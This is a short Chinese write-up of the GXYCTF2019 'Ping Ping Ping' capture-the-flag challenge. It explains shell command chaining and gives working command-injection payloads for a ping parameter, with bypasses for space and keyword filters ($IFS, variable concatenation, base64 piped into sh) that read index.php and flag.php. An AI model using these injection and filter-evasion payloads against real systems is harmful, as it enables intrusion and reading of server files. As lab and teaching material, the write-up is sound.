[GXYCTF2019]Ping Ping Ping(命令注入)

首先命令注入拼接符:

& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo ‘2’
| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
; 分号表示命令依次执行。

进入题目 ,看到/?ip=

猜测命令注入:

尝试用| ls回显得知 index.php 和 flag.php

尝试用cat命令读取flag.php,提示有空格,空格被过滤了:

接下来就是如何绕过空格?

Linux中

cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt      #$9为空字符
cat<flag.txt
cat<>flag.txt
Kg=$’\x20flag.txt’&&cat$kg

Windows中

Type.\flag.txt
Type,flag.txt

有过滤,先查看index.php中的过滤规则

?ip=127.0.0.1;cat$IFS$9index.php

发现过滤了符号,空格

而且还贪婪匹配了flag

//表达式 .* 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配

解题方法:

1,变量拼接:

pyload:
?Ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b

2,使用sh

构造的pyload:
?Ip=127.0.0.1;echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh     #通过管道 将cat flag.php加密,传给base64 -d 解码模式,再传给sh执行
但是空格被过滤,所以把所有的空格换成$IFS$9,即:
?Ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用*标注